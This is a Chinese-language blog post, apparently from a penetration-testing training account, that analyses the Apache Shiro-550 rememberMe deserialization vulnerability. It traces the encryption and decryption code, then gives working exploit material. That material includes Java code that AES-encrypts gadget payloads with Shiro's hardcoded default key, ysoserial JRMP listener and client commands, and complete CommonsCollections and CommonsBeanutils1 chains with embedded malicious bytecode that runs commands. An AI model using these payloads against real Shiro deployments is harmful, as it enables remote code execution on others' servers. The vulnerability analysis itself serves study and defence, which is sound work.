入坑Java安全之Shiro-550漏洞分析
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 前言
虽然Shiro-550反序列化漏洞已经出来很久了,但在某些大型活动中依然有它的身影,本文将从底层代码对这个漏洞进行深度剖析(狗头),分别从漏洞分析、漏洞复现两大模块展开。
0x01 漏洞分析
原理
当Shiro收到未经验证的用户请求时,会进行以下操作:
- 提取Cookie中rememberme的值
- Base64解密
- AES解密
- 反序列化
所以当攻击者获取到AES加密的Key时,即可将Payload通过Key进行AES加密,然后Base64编码,最后设置为Cookie中rememberme字段的值,从而造成RCE。这也是为什么很多工具要求你提供Key,没有Key就通过常见的内置Key进行爆破。

原理很简短,有嘴就行,但是代码上它究竟是怎么跑的呢?我们带着两个问题去研究:
- 加解密过程是怎样的?
- 工具中的内置Key是从哪里提取出来的?
环境搭建
我这里是 JDK1.8 +Tomcat 9 + p神的环境,下载完直接导入IDEA,等待依赖加载完毕后,配置Tomcat即可,下载地址(https://github.com/phith0n/JavaThings/tree/master/shirodemo)
默认账号密码:guestguest

加密流程
网上很多师傅都是直接将断点下在AbstractRememberMeManager#rememberSerializedIdentity(),因为能够触发这个方法的时候就意味着你已经通过了身份认证

程序要给你的Cookie中加上rememberme字段了,然后逆着推,我个人当时看的时候不太舒服,这里我们以三个点进行分析,不然有点乱,也不好理解

身份认证点
这里我已经调试过很多次了,我们直接将断点下在AuthenticatingFilter#executeLogin()这个执行登录判断的方法

这里上来就通过createToken()获取一个AuthenticationToken对象,里边的值其实是我们输入的账号、密码、host以及你是否点击了rememberme这个按钮

接着进入Login()方法,程序会调用DefaultSecurityManager#login()对Token中的字段进行校验,判断是否有这个用户,如果没有就会像下面这张图

通过身份验证后,这里会返回一个SimpleAccount对象,里边就是用户的信息,然后通过一一系列的方法去调用本类中的rememberMeSuccessfulLogin(),注意rmm中的值,此时我们可以清楚的看到他的加密算法,加密模式,填充模式
- 加密算法:AES
- 加密模式:CBC
- 填充模式:PKCS5Padding

继续往下,rmm通过onSuccessfulLogin()去调用isRememberMe(),判断你是否点击了“remember me”这个按钮

假如开启了,就会进入真正地加密流程,也就是rememberIdentity()方法,这里有多处重写

身份加密点
我们直接来到关键点,在103行,程序通过convertPrincipalsToBytes()开启加密之旅,首先会对之前查出来的对象进行序列化

然后获取加密服务对象,不为空则对序列化后的对象进行加密

跟进AbstractRememberMeManager#encrypt(),又获取了一遍加密服务,再次通过加密服务调用encrypt(),此时我们可以看到,加密服务中的值正是上边总结的加密算法、加密模式与填充模式

注意第二个参数,这个方法就是获取Shiro硬编码Key的方法

后边就是获取iv向量然后进行AES加密

再将加密后的byte返回给bytesource

通过getBytes()获取混淆后的数据,至此,程序将认证后的身份通过序列化、AES加密,最终传入到rememberSerializedIdentity()中,开启最后一步

Set-rememberMe点
这一步就很简单了,将混淆后的数据在Base64编码,然后设置到Cookie中

Burp中也获取到了对应的值,至此加密流程结束

解密流程
抓一个经过认证的包,把里边的JSESSIONID删掉,将断点设置在CookieRememberMeManager#getRememberedSerializedIdentity(),这里同样以三个点分析,不同的是不会向上边那么详细,因为每个类中的加密方法都对应着解密方法

获取Cooki中的rememberMe并解码
在CookieRememberMeManager#getRememberedSerializedIdentity()中实现

AES解密
来到AbstractRememberMeManager#decrypt(),还记得AES加密在哪里做的么?就是在这个方法的上边两行做的,又是熟悉的[-84,-19,…],此时已经是一个对象的byte了

反序列化Byte
来到DefaultSerializer#deserialize(),可以看到程序通过readObject()将Byte转化为了对象,假如我们拿到了Key,并且有该站点的反序列化利用链,便可对其进行反序列化攻击。至此,漏洞原理部分结束,建议大家调一调。

0x02 漏洞复现
数组的问题
我们生成CC6的Payload
import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class GetPayload{public static void main(String []args) throws Exception {byte[] payloads = new CommonsCollections6().getPayload();AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}}
却无法成功利用

根据报错,来到org/apache/shiro/io/DefaultSerializer.java#deserialize

可以看到在加载Transformer的时候报错了,这里的L代表数组,也就是Transform[]

这里涉及到JVM底层的类加载机制,原因就是shiro重写了resolveClass(),导致我们的Transform[]无法被正常反序列化(找不到类)

JRMP突破限制
这里有两种方式可以破局,一是使用JRMP进行RCE,另一种就是构造不含数组的Gadget,我们首先来用JRMP进行RCE
开启恶意JRMP服务端
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 "calc"
生成JRMPClient Gadget
java -jar ysoserial.jar JRMPClient "127.0.0.1:12345" > poc.ser
AES加密
import Util.toUnSerialize;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class CommonsCollectionsJRMP{public static void main(String[] args) throws Exception {byte[] payloads = toUnSerialize.get("poc.ser");AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}}
发送Payload,成功解锁计算器

不含数组的Gadget
另一种方式是改造CC2,关于CC链的分析可以看一下这篇文章,之前我们是使用ChainedTransformer()去包裹Transformer[],其实这一步是可以省略的,我们来看LazyMap#get()

如果这里的factory是InvokerTransformer,那么就会进行反射,而这里的key就会作为执行invoke的对象

如果此时input是TemplatesImpl,iMethodName是newInstance,就会通过反射执行任意代码,来个Demo
package Ser;import Util.toSerialize;import Util.toUnSerialize;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC2 {// 封装通过反射修改属性的操作public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{// calc 字节码byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");// TemplatesImpl链TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());// 定义 iMethodNameTransformer transformer = new InvokerTransformer("newTransformer", null, null);// 定义 factoryMap lazyMap = LazyMap.decorate(new HashMap(), transformer);// 定义 InvokerTransformer.transform() 中的input属性lazyMap.get(templates);}}
解锁计算器

所以接下来的任务是找找谁的readObject直接或间接的动态调用了get(),这里用到了CC6中的TiedMapEntry#hashcode()间接动态调用get()

剩下的就跟CC6一样了,入口点还是通过HashMap#readObject()->hash()->key.hashCode(),所以最终的Payload如下:
package Ser;import Util.toSerialize;import Util.toUnSerialize;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("getClass", null, null);Map lazyMap = LazyMap.decorate(new HashMap(), transformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);Map hashMap = new HashMap();hashMap.put(tiedMapEntry, "test");lazyMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");new toSerialize(hashMap);new toUnSerialize("poc.ser");}}
将poc.ser进行AES加密,发送Payload即可

0x03 CommonsBeanutiles1
相信在大家面试的时候,可能会被问到Shiro反序列化,有Key没有利用链怎么办?这个问题,这里指的应该是下面这个情况

那这种看似没有利用链的情况应该怎么解决?P神提出使用Shiro自带的CommonsBeanutils构造Gadget

这里主要用到了它的静态方法PropertyUtils.getProperty(),这个方法的功能有点像Fastjson的autotype功能,我们来个Demo
package CB1;import org.apache.commons.beanutils.PropertyUtils;public class CommonsBeanutiles_{public static class Dog{private String name = "Dooooooog";public String getName() {return name;}public void setName(String name) {this.name = name;}public String getCalc() throws Exception{Runtime.getRuntime().exec("calc");return "Hacked...";}}public static void main(String[] args) throws Exception{PropertyUtils.getProperty(new Dog(),"calc");}}
其中我们定义了内部类Dog,可以看见有一个计算器方法getCalc(),而PropertyUtils.getProperty(new Dog(), “calc”)的意思就是,调用Dog类下calc的getter方法,即getCalc()

看过我Fastjson系列的兄弟应该知道TemplatesImpl链在应用的时候,要给一个OutputProperties属性,这是因为Fastjson会自动调用属性的getter、setter方法,进而调用newTransformer()

这里同样适用

还是同样的思路,找谁调了getProperty()

这里compare()在CC4中我们用过,在PriorityQueue#siftDownUsingComparator()中动态调用

所以最终CB1的利用链就是这样,就不分解演示了,如果看不懂可以自己调一下或者去看我之前分析CC链的文章吧 🙂
package Ser;import Util.toSerialize;import Util.toUnSerialize;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.beanutils.BeanComparator;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CB1{// 封装 getDeclaredField等重复性操作public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{// calc 的恶意字节码byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");// TemplatesImpl链TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());// BC1 的关键点, BeanComparator对象BeanComparator beanComparator = new BeanComparator("outputProperties");// 设置 comparator, 以便于调用 BeanComparator#compare()PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);// 修改size, 为了满足 PriorityQueue#heapify() 的验证条件setFieldValue(priorityQueue,"size",2);// 修改queue, 为了满足 PropertyUtils.getProperty() 进而触发RCEsetFieldValue(priorityQueue,"queue",new Object[]{templates,1});// 序列化与反序列化new toSerialize(priorityQueue);new toUnSerialize("poc.ser");}}
将poc.ser内容进行AES加密,发送给Shiro站点,解锁计算器

这里我产生了一个疑问,明明都是CB1,为什么ShiroAttack2.2、ShiroExploit等优秀工具就不可以?于是我反编译看了一下伪代码,原因就在这里
第一,它们都是用的yso的CB1,所以依赖CommonsCollections组件

第二,即使目标站点有CommonsCollections组件,CB1链依然利用不了,原因就是Shiro1.2.4自带的是CommonsBeanutiles1.8.3,会触发serialVersionUID错误

0x04 总结
Shiro550依然大型活动的高危漏洞之一。现在ShiroAttack也已经将CB1集成进去了,并且像其他的一些问题(Tomcat header长度限制、无回显、内存马)也都做出了相应的解决方案,剩下的就看谁的key多了。附上下载地址(https://github.com/SummerSec/ShiroAttack2)

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/5738.html

